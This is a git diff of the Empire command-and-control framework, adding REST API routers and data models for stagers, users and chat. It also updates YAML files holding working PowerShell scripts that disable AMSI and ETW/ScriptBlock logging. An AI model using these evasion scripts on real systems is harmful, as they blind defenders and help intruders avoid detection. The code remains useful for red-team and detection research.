@@ -0,0 +1,6 @@
+from empire.server.core.db.base import SessionLocal
+
+
+def get_db():
+ with SessionLocal.begin() as db:
+ yield db
diff --git a/empire/server/api/v2/shared_dto.py b/empire/server/api/v2/shared_dto.py
new file mode 100644
index 000000000..e3eb0fbe4
--- /dev/null
+++ b/empire/server/api/v2/shared_dto.py
@@ -0,0 +1,94 @@
+from enum import Enum
+from typing import Any, List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.core.db import models
+
+
+class BadRequestResponse(BaseModel):
+ detail: str
+
+
+class NotFoundResponse(BaseModel):
+ detail: str
+
+
+class ValueType(str, Enum):
+ string = "STRING"
+ float = "FLOAT"
+ integer = "INTEGER"
+ boolean = "BOOLEAN"
+
+
+class CustomOptionSchema(BaseModel):
+ description: str
+ required: bool
+ value: str
+ suggested_values: List[str]
+ strict: bool
+ value_type: ValueType
+
+
+class OrderDirection(str, Enum):
+ asc = "asc"
+ desc = "desc"
+
+
+class DownloadDescription(BaseModel):
+ id: int
+ filename: str
+ link: str
+
+ class Config:
+ orm_mode = True
+
+
+class Author(BaseModel):
+ name: Optional[str]
+ handle: Optional[str]
+ link: Optional[str]
+
+
+def domain_to_dto_download_description(download: models.Download):
+ if download.filename:
+ filename = download.filename
+ else:
+ filename = download.location.split("/")[-1]
+
+ return DownloadDescription(
+ id=download.id,
+ filename=filename,
+ link=f"/api/v2/downloads/{download.id}/download",
+ )
+
+
+def to_value_type(value: Any) -> ValueType:
+ if isinstance(value, str):
+ return ValueType.string
+ elif isinstance(value, bool):
+ return ValueType.boolean
+ elif isinstance(value, float):
+ return ValueType.float
+ elif isinstance(value, int):
+ return ValueType.integer
+ else:
+ return ValueType.string
+
+
+# Set proxy IDs
+PROXY_NAME = {
+ "SOCKS4": 1,
+ "SOCKS5": 2,
+ "HTTP": 3,
+ "SSL": 4,
+ "SSL_WEAK": 5,
+ "SSL_ANON": 6,
+ "TOR": 7,
+ "HTTPS": 8,
+ "HTTP_CONNECT": 9,
+ "HTTPS_CONNECT": 10,
+}
+
+# inverse of PROXY_NAME
+PROXY_ID = {v: k for k, v in PROXY_NAME.items()}
diff --git a/empire/server/api/v2/stager/__init__.py b/empire/server/api/v2/stager/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/stager/stager_api.py b/empire/server/api/v2/stager/stager_api.py
new file mode 100644
index 000000000..948f8ffa1
--- /dev/null
+++ b/empire/server/api/v2/stager/stager_api.py
@@ -0,0 +1,96 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+from starlette.responses import Response
+from starlette.status import HTTP_204_NO_CONTENT
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.api.v2.stager.stager_dto import (
+ Stager,
+ StagerPostRequest,
+ Stagers,
+ StagerUpdateRequest,
+ domain_to_dto_stager,
+)
+from empire.server.core.db import models
+from empire.server.server import main
+
+stager_service = main.stagersv2
+
+router = APIRouter(
+ prefix="/api/v2/stagers",
+ tags=["stagers"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_stager(uid: int, db: Session = Depends(get_db)):
+ stager = stager_service.get_by_id(db, uid)
+
+ if stager:
+ return stager
+
+ raise HTTPException(404, f"Stager not found for id {uid}")
+
+
+@router.get("/", response_model=Stagers)
+async def read_stagers(db: Session = Depends(get_db)):
+ stagers = list(map(lambda x: domain_to_dto_stager(x), stager_service.get_all(db)))
+
+ return {"records": stagers}
+
+
+@router.get("/{uid}", response_model=Stager)
+async def read_stager(uid: int, db_stager: models.Stager = Depends(get_stager)):
+ return domain_to_dto_stager(db_stager)
+
+
+@router.post("/", status_code=201, response_model=Stager)
+async def create_stager(
+ stager_req: StagerPostRequest,
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_active_user),
+ save: bool = True,
+):
+ resp, err = stager_service.create_stager(
+ db, stager_req, save, user_id=current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_stager(resp)
+
+
+@router.put("/{uid}", response_model=Stager)
+async def update_stager(
+ uid: int,
+ stager_req: StagerUpdateRequest,
+ db: Session = Depends(get_db),
+ db_stager: models.Stager = Depends(get_stager),
+):
+ resp, err = stager_service.update_stager(db, db_stager, stager_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_stager(resp)
+
+
+@router.delete(
+ "/{uid}",
+ status_code=HTTP_204_NO_CONTENT,
+ response_class=Response,
+)
+async def delete_stager(
+ uid: int,
+ db: Session = Depends(get_db),
+ db_stager: models.Stager = Depends(get_stager),
+):
+ stager_service.delete_stager(db, db_stager)
diff --git a/empire/server/api/v2/stager/stager_dto.py b/empire/server/api/v2/stager/stager_dto.py
new file mode 100644
index 000000000..0fe0efac1
--- /dev/null
+++ b/empire/server/api/v2/stager/stager_dto.py
@@ -0,0 +1,235 @@
+from datetime import datetime
+from typing import Dict, List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.api.v2.shared_dto import (
+ Author,
+ CustomOptionSchema,
+ DownloadDescription,
+ domain_to_dto_download_description,
+ to_value_type,
+)
+from empire.server.core.db import models
+
+
+def domain_to_dto_template(stager, uid: str):
+ options = dict(
+ map(
+ lambda x: (
+ x[0],
+ {
+ "description": x[1]["Description"],
+ "required": x[1]["Required"],
+ "value": x[1]["Value"],
+ "strict": x[1]["Strict"],
+ "suggested_values": x[1]["SuggestedValues"],
+ "value_type": to_value_type(x[1]["Value"]),
+ },
+ ),
+ stager.options.items(),
+ )
+ )
+
+ authors = list(
+ map(
+ lambda x: {
+ "name": x["Name"],
+ "handle": x["Handle"],
+ "link": x["Link"],
+ },
+ stager.info.get("Authors") or [],
+ )
+ )
+
+ return StagerTemplate(
+ id=uid,
+ name=stager.info.get("Name"),
+ authors=authors,
+ description=stager.info.get("Description"),
+ comments=stager.info.get("Comments"),
+ options=options,
+ )
+
+
+def domain_to_dto_stager(stager: models.Stager):
+ return Stager(
+ id=stager.id,
+ name=stager.name,
+ template=stager.module,
+ one_liner=stager.one_liner,
+ downloads=list(
+ map(lambda x: domain_to_dto_download_description(x), stager.downloads)
+ ),
+ options=stager.options,
+ user_id=stager.user_id,
+ created_at=stager.created_at,
+ updated_at=stager.updated_at,
+ )
+
+
+class StagerTemplate(BaseModel):
+ id: str
+ name: str
+ authors: List[Author]
+ description: str
+ comments: List[str]
+ options: Dict[str, CustomOptionSchema]
+
+ class Config:
+ schema_extra = {
+ "example": {
+ "id": "multi_launcher",
+ "name": "Launcher",
+ "authors": ["@harmj0y"],
+ "description": "Generates a one-liner stage0 launcher for Empire.",
+ "comments": [""],
+ "options": {
+ "Listener": {
+ "description": "Listener to generate stager for.",
+ "required": True,
+ "value": "",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Language": {
+ "description": "Language of the stager to generate.",
+ "required": True,
+ "value": "powershell",
+ "suggested_values": ["powershell", "python"],
+ "strict": True,
+ },
+ "StagerRetries": {
+ "description": "Times for the stager to retry connecting.",
+ "required": False,
+ "value": "0",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "OutFile": {
+ "description": "Filename that should be used for the generated output.",
+ "required": False,
+ "value": "",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Base64": {
+ "description": "Switch. Base64 encode the output.",
+ "required": True,
+ "value": "True",
+ "suggested_values": ["True", "False"],
+ "strict": True,
+ },
+ "Obfuscate": {
+ "description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.",
+ "required": False,
+ "value": "False",
+ "suggested_values": ["True", "False"],
+ "strict": True,
+ },
+ "ObfuscateCommand": {
+ "description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.",
+ "required": False,
+ "value": "Token\\All\\1",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "SafeChecks": {
+ "description": "Switch. Checks for LittleSnitch or a SandBox, exit the staging process if True. Defaults to True.",
+ "required": True,
+ "value": "True",
+ "suggested_values": ["True", "False"],
+ "strict": True,
+ },
+ "UserAgent": {
+ "description": "User-agent string to use for the staging request (default, none, or other).",
+ "required": False,
+ "value": "default",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Proxy": {
+ "description": "Proxy to use for request (default, none, or other).",
+ "required": False,
+ "value": "default",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "ProxyCreds": {
+ "description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
+ "required": False,
+ "value": "default",
+ "suggested_values": [],
+ "strict": False,
+ },
+ "Bypasses": {
+ "description": "Bypasses as a space separated list to be prepended to the launcher",
+ "required": False,
+ "value": "mattifestation etw",
+ "suggested_values": [],
+ "strict": False,
+ },
+ },
+ }
+ }
+
+
+class StagerTemplates(BaseModel):
+ records: List[StagerTemplate]
+
+
+class Stager(BaseModel):
+ id: int
+ name: str
+ template: str
+ one_liner: bool
+ downloads: List[DownloadDescription]
+ options: Dict[str, str]
+ user_id: int
+ created_at: Optional[
+ datetime
+ ] # optional because if its not saved yet, it will be None
+ updated_at: Optional[datetime]
+
+
+class Stagers(BaseModel):
+ records: List[Stager]
+
+
+class StagerPostRequest(BaseModel):
+ name: str
+ template: str
+ options: Dict[str, str]
+
+ class Config:
+ schema_extra = {
+ "example": {
+ "name": "MyStager",
+ "template": "multi_launcher",
+ "options": {
+ "Listener": "",
+ "Language": "powershell",
+ "StagerRetries": "0",
+ "OutFile": "",
+ "Base64": "True",
+ "Obfuscate": "False",
+ "ObfuscateCommand": "Token\\All\\1",
+ "SafeChecks": "True",
+ "UserAgent": "default",
+ "Proxy": "default",
+ "ProxyCreds": "default",
+ "Bypasses": "mattifestation etw",
+ },
+ }
+ }
+
+
+class StagerUpdateRequest(BaseModel):
+ name: str
+ options: Dict[str, str]
+
+ def __iter__(self):
+ return iter(self.__root__)
+
+ def __getitem__(self, item):
+ return self.__root__[item]
diff --git a/empire/server/api/v2/stager/stager_template_api.py b/empire/server/api/v2/stager/stager_template_api.py
new file mode 100644
index 000000000..82aee8721
--- /dev/null
+++ b/empire/server/api/v2/stager/stager_template_api.py
@@ -0,0 +1,48 @@
+from fastapi import Depends, HTTPException
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.api.v2.stager.stager_dto import (
+ StagerTemplate,
+ StagerTemplates,
+ domain_to_dto_template,
+)
+from empire.server.server import main
+
+stager_template_service = main.stagertemplatesv2
+
+router = APIRouter(
+ prefix="/api/v2/stager-templates",
+ tags=["stager-templates"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+@router.get("/", response_model=StagerTemplates)
+async def get_stager_templates():
+ templates = list(
+ map(
+ lambda x: domain_to_dto_template(x[1], x[0]),
+ stager_template_service.get_stager_templates().items(),
+ )
+ )
+
+ return {"records": templates}
+
+
+@router.get(
+ "/{uid}",
+ response_model=StagerTemplate,
+)
+async def get_stager_template(uid: str):
+ template = stager_template_service.get_stager_template(uid)
+
+ if not template:
+ raise HTTPException(status_code=404, detail="Stager template not found")
+
+ return domain_to_dto_template(template, uid)
diff --git a/empire/server/api/v2/starkiller b/empire/server/api/v2/starkiller
new file mode 160000
index 000000000..cd4c2d42f
--- /dev/null
+++ b/empire/server/api/v2/starkiller
@@ -0,0 +1 @@
+Subproject commit cd4c2d42f34d041e846e65779f5afad9cd953824
diff --git a/empire/server/api/v2/user/__init__.py b/empire/server/api/v2/user/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/user/user_api.py b/empire/server/api/v2/user/user_api.py
new file mode 100644
index 000000000..e2524394b
--- /dev/null
+++ b/empire/server/api/v2/user/user_api.py
@@ -0,0 +1,162 @@
+from datetime import timedelta
+
+from fastapi import Depends, HTTPException
+from fastapi.security import OAuth2PasswordRequestForm
+from sqlalchemy.orm import Session
+from starlette import status
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import (
+ ACCESS_TOKEN_EXPIRE_MINUTES,
+ Token,
+ authenticate_user,
+ create_access_token,
+ get_current_active_admin_user,
+ get_current_active_user,
+ get_password_hash,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.api.v2.user.user_dto import (
+ User,
+ UserPostRequest,
+ Users,
+ UserUpdatePasswordRequest,
+ UserUpdateRequest,
+ domain_to_dto_user,
+)
+from empire.server.core.db import models
+from empire.server.server import main
+
+user_service = main.usersv2
+
+# no prefix so /token can be at root.
+# Might also just move auth out of user router.
+router = APIRouter(
+ tags=["users"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+)
+
+
+async def get_user(uid: int, db: Session = Depends(get_db)):
+ user = user_service.get_by_id(db, uid)
+
+ if user:
+ return user
+
+ raise HTTPException(status_code=404, detail=f"User not found for id {uid}")
+
+
+@router.post("/token", response_model=Token)
+async def login_for_access_token(
+ form_data: OAuth2PasswordRequestForm = Depends(), db: Session = Depends(get_db)
+):
+ user = authenticate_user(db, form_data.username, form_data.password)
+ if not user:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Incorrect username or password",
+ headers={"WWW-Authenticate": "Bearer"},
+ )
+ access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)
+ access_token = create_access_token(
+ data={"sub": user.username}, expires_delta=access_token_expires
+ )
+ return {"access_token": access_token, "token_type": "bearer"}
+
+
+@router.get("/api/v2/users/me", response_model=User)
+async def read_user_me(current_user: User = Depends(get_current_active_user)):
+ return domain_to_dto_user(current_user)
+
+
+@router.get(
+ "/api/v2/users",
+ response_model=Users,
+ dependencies=[Depends(get_current_active_user)],
+)
+async def read_users(db: Session = Depends(get_db)):
+ users = list(map(lambda x: domain_to_dto_user(x), user_service.get_all(db)))
+
+ return {"records": users}
+
+
+@router.get(
+ "/api/v2/users/{uid}",
+ response_model=User,
+ dependencies=[Depends(get_current_active_user)],
+)
+async def read_user(uid: int, db_user: models.User = Depends(get_user)):
+ return domain_to_dto_user(db_user)
+
+
+@router.post(
+ "/api/v2/users/",
+ status_code=201,
+ dependencies=[Depends(get_current_active_admin_user)],
+)
+async def create_user(user: UserPostRequest, db: Session = Depends(get_db)):
+ resp, err = user_service.create_user(
+ db, user.username, get_password_hash(user.password), user.is_admin
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_user(resp)
+
+
+@router.put("/api/v2/users/{uid}", response_model=User)
+async def update_user(
+ uid: int,
+ user_req: UserUpdateRequest,
+ current_user: models.User = Depends(get_current_active_user),
+ db: Session = Depends(get_db),
+ db_user: models.User = Depends(get_user),
+):
+ if not (current_user.admin or current_user.id == uid):
+ raise HTTPException(
+ status_code=403, detail="User does not have access to update this resource."
+ )
+
+ if user_req.is_admin != db_user.admin:
+ if not current_user.admin:
+ raise HTTPException(
+ status_code=403,
+ detail="User does not have access to update admin status.",
+ )
+
+ # update
+ resp, err = user_service.update_user(db, db_user, user_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_user(resp)
+
+
+@router.put("/api/v2/users/{uid}/password", response_model=User)
+async def update_user_password(
+ uid: int,
+ user_req: UserUpdatePasswordRequest,
+ current_user: models.User = Depends(get_current_active_user),
+ db: Session = Depends(get_db),
+ db_user: models.User = Depends(get_user),
+):
+ if not current_user.id == uid:
+ raise HTTPException(
+ status_code=403, detail="User does not have access to update this resource."
+ )
+
+ # update
+ resp, err = user_service.update_user_password(
+ db, db_user, get_password_hash(user_req.password)
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_user(resp)
diff --git a/empire/server/api/v2/user/user_dto.py b/empire/server/api/v2/user/user_dto.py
new file mode 100644
index 000000000..a672f3eee
--- /dev/null
+++ b/empire/server/api/v2/user/user_dto.py
@@ -0,0 +1,44 @@
+from datetime import datetime
+from typing import List
+
+from pydantic import BaseModel
+
+
+def domain_to_dto_user(user):
+ return User(
+ id=user.id,
+ username=user.username,
+ enabled=user.enabled,
+ is_admin=user.admin,
+ created_at=user.created_at,
+ updated_at=user.updated_at,
+ )
+
+
+class User(BaseModel):
+ id: int
+ username: str
+ enabled: bool
+ is_admin: bool
+ created_at: datetime
+ updated_at: datetime
+
+
+class Users(BaseModel):
+ records: List[User]
+
+
+class UserPostRequest(BaseModel):
+ username: str
+ password: str
+ is_admin: bool
+
+
+class UserUpdateRequest(BaseModel):
+ username: str
+ enabled: bool
+ is_admin: bool
+
+
+class UserUpdatePasswordRequest(BaseModel):
+ password: str
diff --git a/empire/server/api/v2/websocket/__init__.py b/empire/server/api/v2/websocket/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py
new file mode 100644
index 000000000..e01977fc3
--- /dev/null
+++ b/empire/server/api/v2/websocket/socketio.py
@@ -0,0 +1,169 @@
+import json
+import logging
+
+from sqlalchemy.orm import Session
+
+from empire.server.api import jwt_auth
+from empire.server.api.v2.agent.agent_dto import domain_to_dto_agent
+from empire.server.api.v2.agent.agent_task_dto import domain_to_dto_task
+from empire.server.api.v2.listener.listener_dto import domain_to_dto_listener
+from empire.server.api.v2.user.user_dto import domain_to_dto_user
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.hooks import hooks
+
+log = logging.getLogger(__name__)
+
+
+def setup_socket_events(sio, empire_menu):
+ empire_menu.socketio = sio
+
+ # A socketio user is in the general channel if they join the chat.
+ room = "general"
+
+ chat_participants = {}
+
+ # This is really just meant to provide some context to a user that joins the convo.
+ # In the future we can expand to store chat messages in the db if people want to retain a whole chat log.
+ chat_log = []
+
+ sid_to_user = {}
+
+ async def get_user_from_token(sid, token):
+ user = await jwt_auth.get_current_user(token, SessionLocal())
+ if user is None:
+ return False
+ sid_to_user[sid] = user.id
+
+ return user
+
+ def get_user_from_sid(sid):
+ user_id = sid_to_user.get(sid)
+ if user_id is None:
+ return None
+
+ return (
+ SessionLocal().query(models.User).filter(models.User.id == user_id).first()
+ )
+
+ @sio.on("connect")
+ async def on_connect(sid, environ, auth):
+ user = await get_user_from_token(sid, auth["token"])
+ if user:
+ log.info(f"{user.username} connected to socketio")
+ return
+
+ return False
+
+ @sio.on("disconnect")
+ async def on_disconnect(sid):
+ user = get_user_from_sid(sid)
+ log.info(
+ f"{'Client' if user is None else user.username} disconnected from socketio"
+ )
+
+ @sio.on("chat/join")
+ async def on_join(sid, data=None):
+ """
+ The calling user gets added to the "general" chat room.
+ Note: while 'data' is unused, it is good to leave it as a parameter for compatibility reasons.
+ The server fails if a client sends data when none is expected.
+ :return: emits a join event with the user's details.
+ """
+ user = get_user_from_sid(sid)
+ if user.username not in chat_participants:
+ chat_participants[user.username] = user.username
+ sio.enter_room(sid, room)
+ await sio.emit(
+ "chat/join",
+ {
+ "user": domain_to_dto_user(user),
+ "username": user.username,
+ "message": f"{user.username} has entered the room.",
+ },
+ room=room,
+ )
+
+ @sio.on("chat/leave")
+ async def on_leave(sid, data=None):
+ """
+ The calling user gets removed from the "general" chat room.
+ :return: emits a leave event with the user's details.
+ """
+ user = get_user_from_sid(sid)
+ if user is not None:
+ chat_participants.pop(user.username, None)
+ sio.leave_room(sid, room)
+ await sio.emit(
+ "chat/leave",
+ {
+ "user": domain_to_dto_user(user),
+ "username": user.username,
+ "message": user.username + " has left the room.",
+ },
+ room=room,
+ )
+
+ @sio.on("chat/message")
+ async def on_message(sid, data):
+ """
+ The calling user sends a message.
+ :param data: contains the user's message.
+ :return: Emits a message event containing the message and the user's username
+ """
+ user = get_user_from_sid(sid)
+ if isinstance(data, str):
+ data = json.loads(data)
+ chat_log.append({"username": user.username, "message": data["message"]})
+ await sio.emit(
+ "chat/message",
+ {"username": user.username, "message": data["message"]},
+ room=room,
+ )
+
+ @sio.on("chat/history")
+ async def on_history(sid, data=None):
+ """
+ The calling user gets sent the last 20 messages.
+ :return: Emit chat messages to the calling user.
+ """
+ for x in range(len(chat_log[-20:])):
+ username = chat_log[x]["username"]
+ message = chat_log[x]["message"]
+ await sio.emit(
+ "chat/message",
+ {"username": username, "message": message, "history": True},
+ room=sid,
+ )
+
+ @sio.on("chat/participants")
+ async def on_participants(sid, data=None):
+ """
+ The calling user gets sent a list of "general" chat participants.
+ :return: emit participant event containing list of users.
+ """
+ await sio.emit("chat/participants", list(chat_participants.values()), room=sid)
+
+ async def agent_socket_hook(db: Session, agent: models.Agent):
+ await sio.emit("agents/new", domain_to_dto_agent(agent).dict())
+
+ async def task_socket_hook(db: Session, task: models.Tasking):
+ # temporary tasks come back as None and cause an error here
+ if task:
+ if "function Get-Keystrokes" not in task.input:
+ await sio.emit(
+ f"agents/{task.agent_id}/task", domain_to_dto_task(task).dict()
+ )
+
+ async def listener_socket_hook(db: Session, listener: models.Listener):
+ await sio.emit("listeners/new", domain_to_dto_listener(listener).dict())
+
+ hooks.register_hook(
+ hooks.AFTER_AGENT_CHECKIN_HOOK, "agent_socket_hook", agent_socket_hook
+ )
+ hooks.register_hook(
+ hooks.AFTER_TASKING_RESULT_HOOK, "task_socket_hook", task_socket_hook
+ )
+ hooks.register_hook(
+ hooks.AFTER_LISTENER_CREATED_HOOK, "listener_socket_hook", listener_socket_hook
+ )
diff --git a/empire/server/bypasses/ETWBypass.yaml b/empire/server/bypasses/ETWBypass.yaml
index 118a4d17b..17dfebe95 100644
--- a/empire/server/bypasses/ETWBypass.yaml
+++ b/empire/server/bypasses/ETWBypass.yaml
@@ -1,6 +1,8 @@
name: etw
authors:
- - '@standa_t'
+ - name: Satoshi Tanda
+ handle: '@standa_t'
+ link: https://twitter.com/standa_t
description: |
This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
@@ -10,4 +12,4 @@ comments:
language: powershell
min_language_version: '3'
script: |
- [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);
\ No newline at end of file
+ [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0);
diff --git a/empire/server/bypasses/IronPythonBypass.yaml b/empire/server/bypasses/IronPythonBypass.yaml
index f922ddd18..c12c7d233 100644
--- a/empire/server/bypasses/IronPythonBypass.yaml
+++ b/empire/server/bypasses/IronPythonBypass.yaml
@@ -1,6 +1,8 @@
name: ironpython_amsi
authors:
- - '@Cx01N'
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
description: |
Patches AMSI to always return true. Disables AMSI both within the PowerShell and the CLR
comments:
diff --git a/empire/server/bypasses/LibermanBypass.yaml b/empire/server/bypasses/LibermanBypass.yaml
index 03c752a37..9aa48b6e6 100644
--- a/empire/server/bypasses/LibermanBypass.yaml
+++ b/empire/server/bypasses/LibermanBypass.yaml
@@ -1,6 +1,8 @@
name: Liberman
authors:
- - '@Hubbl3'
+ - name: Jake Krasnov
+ handle: '@Hubbl3'
+ link: https://twitter.com/_hubbl3
description: |
Modified version of the AMSIscan buffer pathcing method presetned by Tal Liberman at BlackHat 2018. Includes influence
from Turla powershell implmentation to better model their TTPs. This disables AMSI both within the powershell and
@@ -34,4 +36,4 @@ script: |
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
- [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
\ No newline at end of file
+ [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
diff --git a/empire/server/bypasses/MattifestationBypass.yaml b/empire/server/bypasses/MattifestationBypass.yaml
index 9be0a57b2..d8143bceb 100644
--- a/empire/server/bypasses/MattifestationBypass.yaml
+++ b/empire/server/bypasses/MattifestationBypass.yaml
@@ -1,6 +1,8 @@
name: mattifestation
authors:
- - '@mattifestation'
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
description: |
Reflectively disables AMSI for the current PowerShell session.
Note: This does not disable AMSI in the CLR
@@ -10,4 +12,4 @@ language: powershell
min_language_version: '3'
script: |
$Ref=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
- $Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);
\ No newline at end of file
+ $Ref.GetField('amsiInitFailed','NonPublic,Static').Setvalue($Null,$true);
diff --git a/empire/server/bypasses/RastaMouseBypass.yaml b/empire/server/bypasses/RastaMouseBypass.yaml
index a85e164c9..6908f4045 100644
--- a/empire/server/bypasses/RastaMouseBypass.yaml
+++ b/empire/server/bypasses/RastaMouseBypass.yaml
@@ -1,6 +1,8 @@
name: RastaMouse
authors:
- - '@RastaMouse'
+ - name: Daniel Duggan
+ handle: '@_RastaMouse'
+ link: https://twitter.com/_rastamouse
description: |
Patches AMSI to always return true. Disables AMSI both within the PowerShell and the CLR
comments:
@@ -47,4 +49,4 @@ script: |
}
"@;
Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp;
- iex "[Bypass.AMSI$id]::Disable() | Out-Null";
\ No newline at end of file
+ iex "[Bypass.AMSI$id]::Disable() | Out-Null";
diff --git a/empire/server/bypasses/ScriptBlockLogBypass.yaml b/empire/server/bypasses/ScriptBlockLogBypass.yaml
index 27b97ad3c..d99edad09 100644
--- a/empire/server/bypasses/ScriptBlockLogBypass.yaml
+++ b/empire/server/bypasses/ScriptBlockLogBypass.yaml
@@ -1,6 +1,8 @@
name: ScriptBlockLogBypass
authors:
- - '@Cobbr'
+ - name:
+ handle: '@Cobbr'
+ link:
description: Disables PowerShell ScriptBlock logging through reflection
comments:
- 'https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407'
diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py
index 496ea7ab4..f6d2a7347 100644
--- a/empire/server/common/agents.py
+++ b/empire/server/common/agents.py
@@ -4,7 +4,6 @@
The Agents() class in instantiated in ./server.py by the main menu and includes:
- get_db_connection() - returns the server.py:mainMenu database connection object
is_agent_present() - returns True if an agent is present in the self.agents cache
add_agent() - adds an agent to the self.agents cache and the backend database
remove_agent_db() - removes an agent from the self.agents cache and the backend database
@@ -14,34 +13,15 @@
save_agent_log() - saves the agent console output to the agent's log file
is_agent_elevated() - checks whether a specific sessionID is currently elevated
get_agents_db() - returns all active agents from the database
- get_agent_names_db() - returns all names of active agents from the database
- get_agent_ids_db() - returns all IDs of active agents from the database
- get_agent_db() - returns complete information for the specified agent from the database
get_agent_nonce_db() - returns the nonce for this sessionID
get_language_db() - returns the language used by this agent
- get_language_version_db() - returns the language version used by this agent
- get_agent_session_key_db() - returns the AES session key from the database for a sessionID
- get_agent_results_db() - returns agent results from the backend database
get_agent_id_db() - returns an agent sessionID based on the name
- get_agent_name_db() - returns an agent name based on sessionID
- get_agent_hostname_db() - returns an agent's hostname based on sessionID
- get_agent_os_db() - returns an agent's operating system details based on sessionID
- get_agent_functions() - returns the tab-completable functions for an agent from the cache
- get_agent_functions_db() - returns the tab-completable functions for an agent from the database
get_agents_for_listener() - returns all agent objects linked to a given listener name
- get_agent_names_listener_db()-returns all agent names linked to a given listener name
get_autoruns_db() - returns any global script autoruns
update_agent_sysinfo_db() - updates agent system information in the database
update_agent_lastseen_db() - updates the agent's last seen timestamp in the database
- update_agent_listener_db() - updates the agent's listener name in the database
- rename_agent() - renames an agent
- set_agent_functions_db() - sets the tab-completable functions for the agent in the database
set_autoruns_db() - sets the global script autorun in the config in the database
clear_autoruns_db() - clears the currently set global script autoruns in the config in the database
- add_agent_task_db() - adds a task to the specified agent's buffer in the database
- get_agent_tasks_db() - retrieves tasks for our agent from the database
- get_agent_tasks_listener_db()- retrieves tasks for our agent from the database keyed by listener name
- clear_agent_tasks_db() - clear out one (or all) agent tasks in the database
handle_agent_staging() - handles agent staging neogotiation
handle_agent_data() - takes raw agent data and processes it appropriately.
handle_agent_request() - return any encrypted tasks for the particular agent
@@ -53,49 +33,58 @@
Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners.
"""
-from __future__ import absolute_import, print_function
-
import base64
import json
+import logging
import os
-import sqlite3
+import queue
import string
import threading
-
-# -*- encoding: utf-8 -*-
+import time
+import warnings
from builtins import object, str
-from datetime import datetime, timezone
+from pathlib import Path
+from typing import Dict
-from pydispatch import dispatcher
-from sqlalchemy import and_, func, or_, update
+from sqlalchemy import and_, or_, update
+from sqlalchemy.orm import Session
from zlib_wrapper import decompress
-from empire.server.common.hooks import hooks
-from empire.server.database import models
-from empire.server.database.base import Session
+from empire.server.api.v2.credential.credential_dto import CredentialPostRequest
+from empire.server.common.helpers import KThread
+from empire.server.common.socks import create_client, start_client
